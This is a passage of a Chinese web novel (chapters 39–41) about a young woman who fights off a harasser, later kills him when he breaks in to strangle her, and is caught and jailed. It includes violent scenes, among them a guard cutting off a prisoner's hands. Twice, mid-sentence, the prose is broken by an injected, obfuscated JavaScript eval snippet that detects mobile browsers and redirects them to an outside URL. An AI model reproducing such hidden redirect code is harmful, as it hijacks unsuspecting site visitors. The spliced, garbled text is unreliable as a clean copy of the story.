曲娘子疾言厉色,年轻男人不以为意,仍然笑得一脸淫邪,“曲娘子年纪轻轻,脾气怎么这么暴?” 贺岁愉看清男人的脸,觉得这点眼熟。 脑海中忽然闪过昨日被撞到的画面,这、这不是昨天撞了她还骂她的那个人么? 这畜生东西,她昨日的气还没消呢!他今儿倒自己送上门来了,还不要脸地骚扰曲娘子。 “张石头,你再这般不知分寸,我就要告诉你大哥去!” “你去啊,告诉我大哥又能怎么样?他顶多是说我两句。”张石头忽然抓住了曲娘子的手。 曲娘子脸色大变,拼命挣扎,连另一只手上提的菜篮子都扔在地上不管了,两只手想挣开张石头的手。 张石头到底是个男人,力气比曲娘子大多了,即便曲娘子两只手都用上还是不敌他。 “张石头,你、你想干什么?”曲娘子声音发颤,“你要是敢对我做什么,我夫君回来以后绝对不会放过你的!” 张石头笑得更厉害了,“等你夫君回来黄花菜都凉了,到时候啊,咱俩都生米煮成熟饭,你敢不敢告诉你夫君都不一定呢!” 张石头将曲娘子压在墙上,埋头靠在曲娘子的肩膀上,厚厚的嘴唇朝曲娘子洁白细腻的脖颈而去,眼看就要亲上曲娘子的脖子了。 “畜牲东西,滚开!” 贺岁愉一声大喝,高高举起手上的木棒,用了十足十的力气,狠狠朝张石头砸下去。 “嗷——”张石头惨叫一声,身子歪过去,摇摇欲坠。 被吓得魂飞魄散的曲娘子反应过来,狠狠推了他一把,张石头“砰——”一声摔在了地上。 贺岁愉到底是曾经在码头搬过货的人,比曲娘子力气大许多,一棒子下去,张石头在地上在地上呻吟着爬不起来,“谁干的?痛死老子了!” 他转头看见了贺岁愉,眼睛一亮,惊叹道:“哟——又一个小美人儿!” 贺岁愉拿着脚腕粗的木棒朝他挥了挥,张石头连忙捂着脑袋,“女侠饶命,女侠饶命!” “我下次再看见你骚扰曲姐姐,我就直接废了你!” 她手中的木棒猛然朝张石头的大腿挥下来,张石头连忙两腿分开躲开,木棒落下来砸在他两腿之间的空地上,将泥土砸得飞溅,泥地被砸了深深一个坑。 张石头吓得瞳孔一震,连呼吸都屏住了。 “还不快滚!”贺岁愉厉喝一声。 “是是是,我这就滚。”张石头连忙爬起来,跑进隔壁那条黑暗的巷子里了。 贺岁愉看见他进了那条巷子,也松了口气。 她不无庆幸,幸好当初没有租隔壁那条巷子里那家的房子,不然现在要多出许多麻烦事。 贺岁愉转过身来,快步走到曲娘子身边,“曲姐姐,你没事吧?” 曲娘子在张石头离开时就已经失了浑身的力气,身子顺着粗糙的墙壁滑下来了,靠在墙壁上,脸上仍然有些恍惚。 贺岁愉知道她是被吓到了,拉着曲娘子起来,又帮她捡起来掉在地上的菜篮子以及撒了一地的蔬菜。 “多谢你了,小贺,要不是你及时出现,我真是叫天天不应叫地地不灵。”曲娘子满脸感激,双手伸出来,准备接过贺岁愉手上的菜篮子。 贺岁愉见她仍然惊魂未定,于是安抚地扶着她的胳膊,“我来拿吧。” 贺岁愉扶着曲娘子回家,曲娘子是真的被吓到了,一路上一个劲儿地向贺岁愉道谢。 *** 与此同时,隔壁的巷子里, 张石头顶着背上的伤姿势怪异地走回去以后,一打开门,田老婆子就迎了出来。 她一看见张石头捂着背,痛得龇牙咧嘴的模样,连忙关切地跑过来,“我的儿啊,你这是怎么啦?” 张石头气急败坏地说:“回来的时候叫个疯婆子给打了!” 田老婆子面色大变,“哪里来的疯婆子敢打我的儿子?” 她气得不轻,抓着张石头的胳膊就要往外走,“走,咱们找那个贱人算账去,她把你打成这样子,必须得叫她付出代价!” 张石头被田老婆子拽着胳膊牵动了伤口,痛得大叫一声,“哎哟——你想要痛死我啊!” 田老婆子被儿子的惨叫声吓了一跳,连忙松开了儿子的手,“儿子,你没事儿吧?” 张石头痛得脸色发白,没功夫回答田老婆子的问题。 王翠娘端着衣裳从屋子里出来,准备到院子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066379|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗衣裳,看见田老婆子和张石头站在院子里,怯生生地看了田老婆子一眼。 田老婆子跨步上前,一把揪住她的头发,就开始骂:“你个懒婆娘,一点儿眼力劲儿也没有!你弟弟都叫人打成这个样子了!还不快去把旁边那间屋子收拾出来,叫你弟弟好好休息一下,” 王翠娘被田老婆子揪着头发都疼哭了,“可是夫君说那间屋子要租出去。” 田老婆子恨得咬牙切齿,“就是你个不要脸的骚狐狸精挑唆老大,让老大狠心把他弟弟一个人扔在乡里头!” “石头都伤成这个样子了,你还不让他在这里休息两天,要把他撵到乡里头住,天底下怎么有你这么狠心的嫂子?” 田老婆子咬着牙,长满皱纹的手因为用力而紧绷,就想乌黑的鹰爪一样,狠厉地扯了王翠娘一撮头发下来,王翠娘捂着头皮痛呼一声。 田老婆子当即一耳光扇过去,将王翠娘扇倒在地,“你去不去?” 王翠娘满脸泪水,抬起头,看见婆婆满脸凶相,高高地扬起手又要来打她,吓得身子一抖,口中忙应道:“媳妇去,媳妇现在就去。” 王翠娘把原本要租出去的房间收拾出来,田老婆子进去盯着她收拾,看见她没有换新的被子,脸色一下就变了,“老大不是弹了一床新的棉花被,你藏起来,舍不得拿出来给你弟弟用是不是?” “不是,不是,”王翠娘连忙辩解,小声地说,“夫君说,那床棉花被是准备今年冬天过年时候再盖的。” “拿出来给你弟弟盖!”田老婆子大声呵斥,浑浊的眼睛瞪得很大,凶厉极了,“你们两口子有好东西就晓得藏起来,一点儿也舍不得给你弟弟!我以后要是不在了,你们都不晓得怎么欺负我的石头娃儿!” 王翠娘拗不过婆婆,怕婆婆又打她,只得唯唯诺诺地去把新棉花被抱出来给小叔子的床上换上。 田老婆子这才满意,转身出去扶张石头进来。 张石头在老娘的搀扶下走进房间,嫌弃地说:“这屋子也太小了。” 田老婆子安抚他说:“你先住着,等你以后娶媳妇了,我叫你哥给你买个新房子,买个大的。” *** 贺岁愉帮着曲娘子摘菜,“曲姐姐,你下次买菜可以叫我一起去,这样有个人作伴,路上也安全一些。” 她还没去过这边买菜的地方,她预计着先去转转,然后回头考虑要不要自己买菜做饭,看看会不会比一直在外面吃便宜一点。而且,外面来来回回也就只有那么几样吃食,她吃了几日,已经有些厌倦了。 “真是太谢谢你了,贺妹妹。”曲娘子感动得泪眼花花,放下菜就拉着贺岁愉的手说。 晚上, 曲娘子做了一大桌子菜感谢贺岁愉,贺岁愉吃得可饱了,这简直是她近几日吃得最好的一顿饭。 贺岁愉吃了饭回自己的房间,打开房门以后,看见墙角木盆里泡着的衣裳,才想起来,自己忘记买皂角了。 这衣裳已经泡了一日了,总不好一直在泡下去,贺岁愉向曲娘子要了点儿皂角,这才把衣裳搓洗干净。 她昨日打的那一桶水早已经用得一干二净了,贺岁愉只好提着木桶再出去打水。 39.第 39 章 皎洁的月光照在井口灰白的石头上,像落下了一层雪。 她从井里提出一桶水来,月光照在波光粼粼的水面上。 “哗啦哗啦——” 她一手提着木桶的提手,一手握着桶底,将水桶里的水倒在自己提过来的那只木桶里,然后顺着绳子将水井里提出来的木桶重新放回了井底。 她提着满满一桶水回去以后,将衣裳又清了一遍,然后把衣服挂在院子里横搭着的翠绿竹竿上,简单地洗漱了一番,就上床睡觉了。 翌日, 天刚蒙蒙亮,她就起来了。 出了巷子,街道上的早点铺子已经开张了,食物的香气在街头肆意弥漫,袅袅的热气从铺子门口飘散出来。 坐在小摊上吃早点的人有的说说笑笑,有的狼吞虎咽,大概是上工要迟到了吧。 贺岁愉要了一碗青菜汤,买了两个馒头,坐在小摊的糊着油渍的桌上,不一会儿就吃完了。 吃过早饭,天色彻底亮了。 胭脂铺子离她住的地方有些距离,贺岁愉走了小半个时辰才到,但幸好她今日起得早,没有迟到。 店铺的掌柜是个三十多岁的女人,给贺岁愉讲了一些要注意的地方,让贺岁愉跟在另一个在这儿干了多久的姑娘旁边学习,然后她就没再管贺岁愉,而是去柜台后面算账了。 这家胭脂铺子很大,除了贺岁愉以外,还有三个姑娘并两个小厮,带着贺岁愉熟悉铺子里各色胭脂的姑娘叫巧巧,圆圆脸,一笑起来左边脸颊有一个浅浅的梨涡。 她对贺岁愉态度和善,并没有因为贺岁愉是新来的就欺负她,细致地给贺岁愉讲解了不同的胭脂有什么特点,原料及做法,卖多少钱,适合卖给什么样的人。 小小一盒胭脂里面门道还挺多,贺岁愉听得头昏脑涨,如果不是没有纸笔的话,她真想拿个本子记下来。 今日上午胭脂铺子的客人不算特别多,其他三个姑娘就可以解决,需要贺岁愉接待客人的时候很少,她大多数时候都无所事事地站在一边。 贺岁愉心道:看来她的好运气又回来了嘛,这钱来得比她之前在青州当账房时还要容易。 中午吃饭的时候,贺岁愉偶然听到另外两个姑娘议论她。 “咱们铺子里人不是够了么?怎么突然又招了一个?” “谁知道呢!” “掌柜的光说让她跟在巧巧姐身边学习,可她一早上什么都没干,客人全是我们接待的。”那姑娘不服气地说。 “她是不是和掌柜的有什么亲戚关系啊?” “我看不像,掌柜的虽然对她和气,但是明显和她也不熟悉啊。” “那……那就不知道了。” 贺岁愉静静地听完了她们的对话。 下午的时候,客人更少,贺岁愉正躲在角落里打呵欠,等着下午下班回家。 她觉得她好像有点儿多余,这家胭脂铺子的客流量,似乎没有饱和到需要再找一个人的地步。 她又想起那两个姑娘说的话,与此同时,想到的还有昨日下午被那位沈老爷叫住的场面。 她刚想到这里,沈老爷忽然就踏入了胭脂铺子,掌柜的还喊她过去接待。 贺岁愉看见那掌柜的在沈老爷面前恭恭敬敬回话时,还有什么不明白的。 果然,这份工作与其说是她自己找到的,还不如说是沈老爷送到她手里的。 在这家胭脂铺子里干活儿,和昨日接受沈老爷的话,在那家古玩铺子里做账房,有什么区别?不过就是他左手倒右手而已。 掌柜的很快就离开了,留贺岁愉一个人接待沈老爷这位贵客。 沈林看着展台上的摆放出来的胭脂,但他不懂女人用的胭脂,看了一会儿也没看出个什么名堂,于是直接开口问贺岁愉:“小绿姑娘,这里的胭脂哪个最贵?” 贺岁愉听他叫自己“小绿姑娘”不由尴尬一瞬,这称呼真是过不去了是吧? 早上巧巧给她讲胭脂的价格时,她差不多都记下了。毕竟,别的可以搞错,价钱万万不能搞错的,不然她卖低了要她自己贴钱赔怎么办? 听到他要最贵的,她当即指着最上面那个精致的蝴蝶穿花螺钿胭脂盒子,“这个最贵,一盒二十两银子。” 其他价格的贺岁愉或许会记不清,但是这里最贵的胭脂,她记得清清楚楚,因为一盒胭脂足足要二十两,当初,赵九重那个在复州城当大官的世伯,也才给了他十两银子的路费。 即便如今战乱频繁,但十两银子已经足够在复州置办两亩中等的土地,或者,足够在复州买十几石粮食,足够一个五口之家吃上大半年。 贺岁愉实在不能理解,这么一盒小小的胭脂,就能要这么贵的价钱。 但它的盒子的确做的精美无比,她甚至怀疑,光这个蝴蝶穿花纹样的螺钿盒子就要二三两银子。 贺岁愉多少还是有点敬业精神的,虽然她不大喜欢姓沈的这个老色胚,但是既然要拿别人的工钱,但她干起活时态度还是诚恳的。 “您是要买给夫人么?”她客气又尊敬地问,“请问尊夫人平时偏好什么颜色的胭脂呢?” 沈林随手拿起那盒螺钿胭脂翻看,“都有什么颜色的?” 贺岁愉取出另一个牡丹纹样的螺钿盒,“这种的只有两个颜色,正红色的和粉红色的,您手上拿的是粉红色的,牡丹纹样的这一盒是正红色的。” 她的话刚说完,沈林忽然把视线从精致的螺钿胭脂盒上移开,抬眸看向她,“你喜欢什么颜色?” 贺岁愉愣了下。 随即,她几乎僵住的脑子艰难地转了转,嘴角缓缓勾出一点尴尬的笑容,信口胡说:“我……我不喜欢胭脂。” “确实未曾见过小绿姑娘涂过胭脂,不过小绿姑娘生得貌美,想来涂哪个颜色都是好看的。” 贺岁愉心头缓缓涌上一股不妙的感觉。 但是沈老爷却没有再跟她说下去,而是转头看向站在不远处的掌柜,吩咐道:“将这两盒胭脂都包起来吧。” 沈林没有继续说下去,也没十分清楚地说这两盒胭脂是给谁的,贺岁愉当然不能自作多情地拒绝,说什么不要的话。万一人家压根就不是给她的呢? 她只好有点儿忐忑地闭上了嘴,看着掌柜的将那两盒胭脂包起来。 掌柜的将胭脂递给沈林身后的小厮,小厮却没有接。 掌柜的有点疑惑。 沈林笑着说道:“胭脂赠美人,掌柜的便替我转交给美人吧。” 说罢,沈林最后深深看了贺岁愉一眼,便大步出去了。 女掌柜当然看见了沈林走之前看贺岁愉的那一眼,她笑吟吟地拿着两盒胭脂,也用带着一点打趣的目光看向贺岁愉。 贺岁愉:“……” 这姓沈的真是有病。 不过,店里其他人都在,掌柜的也没有现在就交给贺岁愉,不然就更要将贺岁愉置于众矢之的了。 本来今日要她一个新来的去接待沈老爷就已经够打眼了。 店里的那两个姑娘,这下肯定又要在背后议论她了。 傍晚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15074009|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 胭脂铺子要打烊了,其他人都走了,掌柜的将贺岁愉留到了最后,把店里最贵的两盒胭脂给了她。 贺岁愉当然不能接,但是根本推辞不过女掌柜这个能说会道、久经商海的生意人,实在推辞不过,于是只好收下了。 姓沈的知道,他当场送给她,她势必会推脱,于是就将这个差事交到了掌柜的头上,让掌柜的给她。她在掌柜手底下干活,自然不能一点儿面子都不给掌柜的。 果然是老奸巨猾的奸商。 这么贵的胭脂,沈老爷敢送,她都不敢用。 要是转手卖出去,能卖一半儿价钱回来就不错了,而且也不好往出去卖啊。能买得起这么贵的胭脂的人,谁会收两盒二手的胭脂? 这两盒胭脂,就当做姓沈的害她被人议论的精神损失费了。 她将一个螺钿盒子拿起来放在眼前打量,想她之前在沧州城当乞丐,连饭都吃不上,没想到这才过了几个月,就能用上这么贵的胭脂了。 她嘴角浮现一抹略显嘲讽的苦涩笑容。 真是涝的涝死,旱的旱死。 富人随手一盒胭脂,就是穷人好几年的口粮。 贺岁愉在外面随便吃了点儿东西,走到巷子口时,天已经快黑了,又遇到了隔壁巷子的那个张石头,鬼鬼祟祟地在附近晃悠。 她这次手里没有拿木棒,但是对方上次被她吓到,这次没有再敢对她做什么,反而还讪讪地朝她笑了下。 贺岁愉没理他,留意着身后的动静,小心提防着他,快步进了巷子回自己家院子。 张石头见贺岁愉进去了以后,脸上的笑消失的一干二净,咬牙切齿道:“臭婊子,傲什么傲!真是给脸不要脸!” 张石头朝贺岁愉离开的方向啐了一口,“等着瞧!老子迟早要叫你个贱人跪地求饶,哭着给老子认错。” *** 贺岁愉陪曲娘子出去买菜时,在巷子口晃悠的张石头已经不见了,贺岁愉心安了一些。 其实买菜最好是早上去买,早晨的菜最新鲜,但是贺岁愉早上得早早地去胭脂铺子,没有时间陪曲娘子去买菜,所以买菜的时间就挪到了下午。 她们回来时,也没有看到那贼眉鼠眼的张石头,贺岁愉和曲娘子都松了一口气。 贺岁愉觉得住在这里,还挺舒服的,和曲娘子相处得也很愉快,唯一不满意的,就是张石头这颗讨厌的老鼠屎。 因着昨天下午的事情,曲娘子这次买菜干脆一次性多买了一些,够她们母女俩吃好几天的了,即便加上贺岁愉也不成问题,接下来好几日,都不必再出门买菜了。 这样就大大减少了碰见张石头的几率。 贺岁愉收了院子里的衣裳,洗漱过后,早早地睡了。 入了夜, 天地间一片寂静,只有远处传来几声朦胧的犬吠,含糊在夜里呼啸的风声中,被裹挟在风中飘散。 夜色笼盖大地,尤其是几条巷子格外的黑,高空中挂着一轮弯弯的月亮,撒下一点微弱的月光,落在屋顶上像是一层浅淡的白霜。 一个矮瘦的黑影从巷子口悄悄走进来,在月光的照耀下,找到了进巷子第二家的门。 那黑影从背后抽出一把狭长的刀子,从门缝里伸进去,抵到了院子木门的门栓下方,然后一点一点地撬开了院子大门。 “吱呀——”一声轻微的开门响声,黑影跨过门槛,从院子外面走进来。 冰冷的月光照在他的脸上,照亮了他瘦削的、发灰的脸,他深陷的眼窝在月光下颜色更深。 40.第 40 章 黑影潜入贺岁愉住的房间,撬开了木门,悄无声息地溜了进去。 屋子里黑漆漆一片。 贺岁愉平躺在床上,呼吸平稳,睡得正香。 忽然,一只大手从黑暗中伸出来,直直地朝她的脖子伸过来,一把掐住了的脖子。 指甲乌黑的大手上,手背青筋暴起,指骨凸起得很高,一看就知道用上了最大的力气。 他是真的想要杀了贺岁愉。 贺岁愉从睡梦中惊醒,强烈的窒息的感觉袭来,她喘不上气,本能地拼命挣扎,趁对方一时大意,防御不够完善,一脚踹开了面前的黑影。 那黑影痛呼一声,“砰——”一声摔在地上。 贺岁愉一翻身爬起来,她刚爬起来那黑影也从地上爬起来了,看身形像是个男人,猛地朝她扑过来。 她被床和旁边的桌子挡住,无处可躲,那男人又想上手来掐她的脖子,她伸手去抵挡,却被对方抓住了两只胳膊。 “贱婊子,叫你打老子,老子掐死你个贱人!” 贺岁愉听出了这个声音,是张石头。 他竟然半夜潜入她的房间想要杀了她。 她恨得咬牙切齿,想再用脚踢他,却被对方用腿抵住,她根本抬不起脚来,对方将她的两只胳膊用一只手控制住,腾出一只手来掐她的脖子,压着她想把她往地上压。 贺岁愉奋力挣扎,挣开一只手,摸到了桌子上的茶壶,狠狠朝他的脑门砸去。 茶壶“砰——”一声碎裂开,碎瓷片四处飞溅,贺岁愉躲闪不及,下意识闭上了眼睛,一块碎瓷片从她的脸颊划过,在她的脸上留下一条细长的血丝。 贺岁愉一茶壶下去,张石头惨叫一声,下意识躲开往回退了一步,控制着贺岁愉的手脚也都撤了回去。 贺岁愉终于得以暂时喘息。 但她知道,他肯定很快就会卷土重来。 那个黑影捂着脑门上的鲜血直流的伤口,因为疼痛微微佝偻着腰背,蜷缩着身子。 贺岁愉抄起旁边的凳子冲上前,狠命朝他砸下去。 张石头被贺岁愉一凳子打趴在地上,惨叫声连连。 脖子上刚刚的窒息感仿佛仍然在紧紧地缠绕着她,她刚刚差一点就在睡梦中被人掐死了。 贺岁愉吓坏了,现在心脏仍然狂跳不止,身体也并不完全听使唤,出于本能的自卫意识,她用最快的速度和所能用出的最大的力量,高高举起手里的凳子,飞快地一下又一下地砸下去。 木头凳子发出“咔嚓咔嚓——”的声音,每一下都结结实实地落在倒在地上的黑影身上,发出重重的闷响声,其间,还夹杂着一两声骨头碎裂的细微声响。 地上男人的惨叫声不知何时平息了。 贺岁愉额头上的汗珠顺着鼻尖滚落下来,后背的衣裳也早已经被冷汗浸透。 她急促的呼吸渐渐平复了一些,连带着胸口中飞快跳动的心脏也渐渐平缓下来,她狠狠踹了一脚地上的男人,那人却一动不动。 她怕对方是装晕,让她放松紧惕然后趁她不备突袭她,于是,用凳子死死抵着地上躺着的男人,正想要检查一下,看看对方是真晕过去了还是装的。 外面忽然响起了急匆匆的脚步声,脚步声越来越近,显然是朝她所在这间屋子来的。 “贺妹妹,你没事吧?”曲娘子一把推开门,连气都没喘匀。 曲娘子脸上满是着急的表情,语速很快地问:“我听到你这边有巨大的声响还有惨叫声,你没出什么事儿吧?” 贺岁愉也大口大口地喘着气,穿着单薄中衣,胸口起起伏伏。 曲娘子推开门,外面的月光照进房间里,照亮了贺岁愉苍白如纸的脸。 贺岁愉好一会儿才回过神来,像提线木偶似的,缓缓地摇了摇头,苍白低哑地说了一句,“没事。” 月光照进屋子,自然也隐隐约约照亮了地上的那一滩鲜红的血,黏腻的鲜红的血,悄无声息在地上流淌了很远。 曲娘子看见地上的血吓了一大跳,目光惊骇地看向缩在地上的那个黑影,声音颤抖地问:“这、这是……什么?” 贺岁愉的气儿稍微喘匀了一些,大概是刚刚被掐了脖子的缘故,声音仍然嘶哑,“有人潜入我的房间,想趁我睡着掐死我。” 曲娘子吓得腿都软了,靠在门上几乎站不住,“就、就是这个人么?” “对,”贺岁愉失了浑身的力气,一屁股瘫软地坐在地上歇息,渐渐平复自己,“他晕过去了。” “有麻绳吗?”她看向站在门口吓得脸色苍白,犹如惊弓之鸟的曲娘子。 “有、有的。”曲娘子转身离开,很快去正屋里找了根绳子回来。 曲娘子将粗麻绳递给贺岁愉。 贺岁愉一手拿过绳子,另一只压着凳子钳制着他的手松开,用绳子绑住他。 地上的男人始终没有再发出声音,也没有再动过。 她勒紧麻绳,绑到他脖颈跟前时,终于察觉了不对劲。 他的脉搏不跳了。 在黑暗中,她缓缓伸出一只手去探他的鼻息,却只触到了一片冰冷,她不死心再去摸他脖子上的脉搏,只有一片寂无。 他、他死了? 怎么会? 她、她杀了人…… 贺岁愉惊愕万分,额头上冷汗直流,她甚至不敢抬头去面对站在门口的曲娘子,尽量控制自己不要有任何太过异常的动作,只是过分僵硬、一动不动仿若石化的背影还是让曲娘子发现了异常。 “怎、怎么了?”曲娘子细若蚊蝇的颤抖声音从门口传进来。 “没事。”贺岁愉强作镇定,只是久不说话,一张口声音嘶哑的更厉害了,还带着一点不太明显的颤音,被她低沉的气音遮盖过去。 她按照原本的想法将张石头五花大绑,然后站起身转过来面朝曲娘子,“曲姐姐,没事了,你去休息吧。” 曲娘子担忧地问:“这贼人怎么办?” “没关系,我等天一亮,就带他去见官。”贺岁愉说话的语气渐渐平稳,就像是在说真的一样,“你放心去休息吧,我一个人可以处理好的。” “你一个人……真的可以吗?”曲娘子语气迟疑。 贺岁愉点点头,嗯了一声。 “那好吧,你要是有什么事就立刻喊我。”曲娘子担忧地看了贺岁愉一眼,但是最终因为太过害怕,还是转身离开了。 等到曲娘子离开以后,贺岁愉起身,状若无事地关上了门,但是只有她自己知道,给 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对不住了,曲姐姐。 刚刚被张石头撬开的院子门,已经重新被曲娘子栓好了,贺岁愉放轻脚步,将院门打开一条正好能过人的缝隙,从一人宽的缝隙里钻了出去。 天上的月亮又被乌云遮住了,巷子里一片漆黑。 一股迎面而来的冷空气灌进贺岁愉的口鼻,呛得她鼻子和喉咙生疼,尤其是刚刚被狠掐过的脖子,只要贺岁愉一呼吸,就痛得厉害。 她把衣领往上提了提,遮住脖子上被掐出来的痕迹。 城门现在还没开,得天亮时才能打开。 贺岁愉慢慢往城门口走,在快靠近城门口时,找了处隐蔽的地方坐着,她出来之前,刻意穿了最旧的一身衣裳,埋着头所在墙角时,在街头一众乞丐中并不扎眼。 劳累这么久,又走了这么远的路,贺岁愉靠在墙角,不一会儿就睡了过去。 不知睡了多久,她身子一斜,差点一头栽到地上。 她一瞬间惊醒,看见周围一片陌生的房屋,还愣了一下才反应过来,她杀了人,从曲娘子家逃出来了。 她揉了下酸痛的脖颈,却不小心碰到了脖子被掐过的地方,痛得她倒吸一口凉气。 双腿早已经压麻了。 她扶着粗糙的泥巴墙慢慢站起身来,抬起头,看见远处的天空已经泛白,天很快就要亮了。 她的右眼皮忽然跳了一下。 贺岁愉心头涌上一股浓重的不安感,她伸出手隔着粗布衣裳,附在自己的胸口上,感知到自己跳得过分快的心脏。 她忍着脖子上的剧痛,深深地吸进去一口气,又缓缓地吐出来,不断地在脑海中劝说自己镇定下来。 她重新缩回角落里,就像一个普普通通的小乞丐一样。 空旷的街道上渐渐有了行人,过分安静的环境被嘈杂的人声取代。 虽然开门的士兵还没来,但城门口要出城的人已经开始排队,贺岁愉见状,也快步加入了出城的队伍。 不一会儿,城门开了。 队伍缓慢前行,贺岁愉排得很靠前,马上就要轮到她了。 41.第 41 章 官府的人拦在城门口挨个检查起来。 贺岁愉心头一紧,站在人群后面静静地观察他们如何检查,那官府的官差手里拿着一张画像,挨个对比出城的人的长相。 是张石头的尸体被发现了吗? 怎么会这么快? 贺岁愉心脏跳得越发快了,虽然她已经乔装打扮过,但是经不起他们仔细盘查的。 她纠结要不要先离开出城的队伍,在城中多呆几日,然后等他们放松检查以后再出城。 但是仔细一想,他们既然发现了这件事,那必然会在城中四处张贴对她的通缉令,她脸上的东西遇水就花,太不保险了,而且城里这么多人,眼力好的难免会认出她就是通缉令上画的人。 不行,继续在城中逗留更加危险。 倘若他们真是来抓她的,这个时候贸然离开队伍未免扎眼,大家都在排着队出城,她眼看就要排到了却往回走,不就更容易被发现么? 贺岁愉纠结一番,还是决定继续留在队伍里。 也许不是张石头的尸体被发现了,而是其他事情惹来了官府的盘查呢?她要往好处想,也不一定就是来抓她的。 贺岁愉走到跟前时,扫到了官差手里的画像,那的确是她的画像,而且还是她穿男装时候的画像。 她心里一咯噔。 但是贺岁愉的乔装改扮起了作用,那盘查的官差没有认出她来。 贺岁愉低着头老老实实地从城门口往出走,面上半分不显,实际上心底慌得要死,额头早已经渗出细细密密的冷汗来了。 她没走两步。 “等等——” 旁边检查的另一个官差忽然叫住了她。 贺岁愉停住脚步,惶恐地问:“官爷,还有什么事?” “你脖子上的红痕是怎么回事?” 贺岁愉额头上冷汗簌簌而下,顿了一下,压低声音粗声粗气地说:“回差爷的话,是和家里婆娘打架,被她掐的。” 那官差眯着眼睛仔细瞧贺岁愉的脸,忽然朝她走过来。 贺岁愉心中惊骇,身形僵硬宛如木头,有那么一瞬间,她甚至在思考自己从这一堆官差面前,从城门口逃出去的可能性有多大。 那眼力好的官差在她眉毛上抹了一把,语气瞬间凝固成冰:“木炭?” 贺岁愉瞳孔一震。 旁边两个官差见这个官差发现了不对劲,也迅速围了上来。 那官差站在贺岁愉面前,仔细对比着画像上的人和贺岁愉的相貌,很快就下了定论,“就是他。” 贺岁愉的伪装技术一般,况且化妆又不是整容,即便她将自己画得像个男人,但是她的脸型和五官的形状也没办法改变,只要仔细看,还是能认出她。 贺岁愉就这样被带走了。 贺岁愉被官差押着,沿街不少看热闹的人对她指指点点,猜测和议论她到底是犯了什么罪。 贺岁愉一路上都在想自己还有没有逃出去的可能性,以及她将要面对怎么样的处罚。 张石头的家人守在衙门门口。 贺岁愉被官差押回来,正好被他们看见。 田老婆子眼睛已经哭肿了,一看见贺岁愉,就要扑上来撕打她。 贺岁愉瞬间竖起浑身汗毛,做好和她大干一场的心理准备。 田老婆子扑上来时,她反应迅速,躲得快,田老婆子第一巴掌落了空,想再打她时,被官差拦住了。 官差厉声呵斥:“官府重地,不得放肆!” “官爷,她杀了我儿子啊!她杀了我儿子啊!”田老婆子嚎叫着,反复强调贺岁愉的罪行。 相比于田老婆子的激动和憎恨,和田老婆子一起来的王翠娘,以及她的男人张家老大就显得平静多了,王翠娘怯生生地躲在丈夫身后,有点儿害怕发大疯的田老婆子。 张家老大看向贺岁愉的目光比较平静,并不见多少恨意,大概是这些年被张石头这个弟弟拖累得狠了,对张石头并没有多少情谊。 他见田老婆子情绪越来越激动,即便在官差呵斥后仍然不受控制,看田老婆子要打官差了,才赶紧把蛮不讲理的老母亲往回拉。 贺岁愉被送进大牢。 她看着这阴暗潮湿的地牢,心头滋味复杂难陈。 二进宫了。 难道是她天生命格里带牢狱之灾么? 贺岁愉胸口闷得喘不上气,看见黑暗的地牢,就会想起她暗无天日不知道有没有的明天。 贺岁愉同其他女犯关在一起,但是也没受什么欺负,牢里一天只管一顿饭,大家都饿的没力气,半死不活地靠在墙上,想摊着的烂肉一样躺在地上,哪有力气惹事儿。 空气中弥漫着潮湿腐烂的气味,贺岁愉萎靡地靠在墙上,脖子上被掐出来的伤仍然疼得厉害,只要一吞咽就像是刀子在割一样。 思绪在昏暗的环境里,却格外的清晰。 她本来以为,至少能拖到今日上午才会被官差发现的,却没想到早上刚开城门,官差就追过来了。 官府的人那么快就能发现张石头的死,证明是有人天不亮就去报官了。 张石头的家人即便早上发现张石头不在家,也不应该那么快就找到张石头的尸体在曲娘子家里。 最先发现张石头尸体的人,应该是曲娘子,毕竟贺岁愉昨晚制服张石头,曲娘子是唯一知道的人。 人死在曲娘子家里,曲娘子因为害怕立刻去报官也无可厚非,但是曲娘子明知道是她杀了张石头,知道她畏罪潜逃,却一点逃跑的时间都没有给她留,当即去报了官府。 也许曲娘子思考过,但是贺岁愉仍然是她权衡利弊后放弃的一方。 她哪怕晚一点去报官府,给贺岁愉一点儿逃出城的时间,贺岁愉也不至于现在沦落死牢。 贺岁愉心中还是有一点说不上来的难受。 她以为这几日的和谐相处,她与曲娘子也算是有几分情谊的。 而且,她被张石头怀恨在心,还是因为那次在巷子口冲出来保护被张石头骚扰的曲娘子。 罢了,连和她相处数月、生死与共的赵九重,都能放弃他们之间的情谊,抛下她独自投军,她又怎么能对刚刚才认识几天的曲娘子抱有那么高的期望呢? 贺岁愉闭上眼睛,疲惫的身体让她渐渐昏睡过去。 *** 第二天,狱卒拖走了和贺岁愉同在一间牢房里的女犯人。 那女人瘦得皮包骨头,眼窝深深凹陷下去,脸上还有裸露在外面的胳膊上,都是伤口愈后以后留下的恐怖疤痕。 狱卒要押着那女人去外面,那女人却抓着牢门不愿意离开牢房,一双眼睛黑漆漆的,口中状若癫狂地只重复一句话:“我不想死,我不想死!” 她瘦的像鸡爪子一样的手紧紧地抓着牢门,因为用的力气太大,手指都抓出了血,暗红的血印在粗糙的木头上。 狱卒烦躁地抽出刀,毫不犹豫地剁掉了她两只手。 “啊——”女人发出尖利的惨叫声。 